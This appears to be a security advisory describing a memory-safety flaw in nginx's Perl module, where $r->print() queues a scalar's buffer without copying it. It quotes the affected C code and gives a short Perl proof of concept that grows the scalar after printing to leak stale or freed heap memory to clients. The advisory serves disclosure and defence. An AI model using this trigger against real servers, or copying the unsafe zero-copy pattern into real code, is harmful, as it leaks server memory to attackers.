The zero-copy path in $r-&gt;print() referenced the internal string buffer of a Perl scalar (SV) directly into nginx's output chain without copying it, but only incremented the SV's reference count rather than protecting its buffer. If the Perl script mutates the scalar after calling $r-&gt;print() (e.g., appends to it or grows it), Perl may reallocate or overwrite the underlying buffer in place, while nginx's ngx_http_write_filter() may still have the original buffer queued for output. This can result in corrupted responses or, worse, sending stale/freed memory contents to the client, potentially leaking other memory contents.

🔍 View Affected Code & PoC

Affected Code

if (SvPOK(sv)) {
    p = (u_char *) SvPV(sv, len);
    ...
    b->pos = p;
    b->last = p + len;
    ...
    ngx_http_perl_refcount(...)

Proof of Concept

In a Perl handler running under mod_perl/nginx-perl module:

my $buf = "initial response data";
$r->print($buf);      # zero-copy: nginx queues pointer to $buf's PV buffer
$buf .= ("A" x 100000);  # forces Perl to reallocate/grow the buffer, freeing old one
# nginx's write filter, having postponed the small write, later sends the buffer
# it queued -- which now points to freed memory or stale/overwritten data,
# causing corrupted output or leakage of freed heap memory to the client.